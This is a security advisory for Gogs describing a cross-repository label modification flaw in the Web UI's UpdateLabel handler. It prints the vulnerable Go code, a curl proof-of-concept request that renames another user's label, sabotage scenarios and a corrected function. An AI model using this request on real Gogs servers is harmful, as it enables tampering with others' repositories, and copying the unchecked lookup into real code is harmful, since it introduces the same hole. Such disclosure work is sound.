Gogs has an Authorization Bypass Allows Cross-Repository Label Modification in Gogs

Summary

A broken access control vulnerability in Gogs allows authenticated users with write access to any repository to modify labels belonging to other repositories. The UpdateLabel function in the Web UI (internal/route/repo/issue.go) fails to verify that the label being modified belongs to the repository specified in the URL path, enabling cross-repository label tampering attacks.

Details

The vulnerability exists in the Web UI's label update endpoint POST /:username/:reponame/labels/edit. The handler function UpdateLabel uses an incorrect database query function that bypasses repository ownership validation:

Vulnerable Code (internal/route/repo/issue.go:1040-1054):

func UpdateLabel(c *context.Context, f form.CreateLabel) {
    l, err := database.GetLabelByID(f.ID)  // ❌ No repository validation
    if err != nil {
        c.NotFoundOrError(err, "get label by ID")
        return
    }

    // ❌ Missing validation: l.RepoID != c.Repo.Repository.ID
    l.Name = f.Title
    l.Color = f.Color
    if err := database.UpdateLabel(l); err != nil {
        c.Error(err, "update label")
        return
    }
    c.RawRedirect(c.Repo.MakeURL("labels"))
}

Root Cause:

1. The function calls database.GetLabelByID(f.ID) which internally passes repoID=0 to the ORM layer
2. According to code comments in internal/database/issue_label.go:147-166, passing repoID=0 causes the ORM to ignore repository restrictions
3. No validation checks whether l.RepoID == c.Repo.Repository.ID before updating
4. The middleware reqRepoWriter() only validates write access to the repository in the URL path, not the label's actual repository

Inconsistency with Other Functions:

• NewLabel: Correctly sets RepoID = c.Repo.Repository.ID
• DeleteLabel: Correctly uses database.DeleteLabel(c.Repo.Repository.ID, id)
• API EditLabel: Correctly uses database.GetLabelOfRepoByID(c.Repo.Repository.ID, id)

• Only UpdateLabel in Web UI uses the vulnerable pattern

PoC

Prerequisites:

• Two user accounts: Alice (attacker) and Bob (victim)
• alice has written access to repo-a
• Bob owns repo-b with labels

Step 1: Identify Target Label ID

1. Login as bob, navigate to bob/repo-b/labels
2. Open browser DevTools (F12) → Network tab
3. Click edit on any label
4. Observe the form data: id=
5. Example: id=1

Step 2: Execute Attack

# Login as alice, get session cookie
# Open DevTools → Application → Cookies → i_like_gogs
# Copy the cookie value

# Send malicious request
curl -X POST "http://localhost:3000/alice/repo-a/labels/edit" \
  -H "Cookie: i_like_gogs=<ALICE_SESSION_COOKIE>" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "id=1&title=HACKED-BY-ALICE&color=%23000000"

# Expected response: 302 Found (redirect)

Step 3: Verify Impact

1. Login as bob
2. Navigate to bob/repo-b/labels
3. Observe: Label "P0-Critical" is now "HACKED-BY-ALICE" with black color

Impact

1. Issue Classification Disruption: Modify critical labels (e.g., "P0-Critical" → "P3-Low") causing urgent issues to be deprioritized

2. Security Issue Concealment: Change "security" labels to "documentation" to hide vulnerability reports from security teams

3. Workflow** Sabotage**: Alter labels used in CI/CD automation, breaking deployment pipelines

4. Mass Disruption: Batch modifies all labels across multiple repositories using ID enumeration

Recommended Fix:

func UpdateLabel(c *context.Context, f form.CreateLabel) {
    l, err := database.GetLabelOfRepoByID(c.Repo.Repository.ID, f.ID)
    if err != nil {
        c.NotFoundOrError(err, "get label of repository by ID")
        return
    }
    // Now label ownership is validated at database layer
    l.Name = f.Title
    l.Color = f.Color
    if err := database.UpdateLabel(l); err != nil {
        c.Error(err, "update label")
        return
    }
    c.RawRedirect(c.Repo.MakeURL("labels"))
}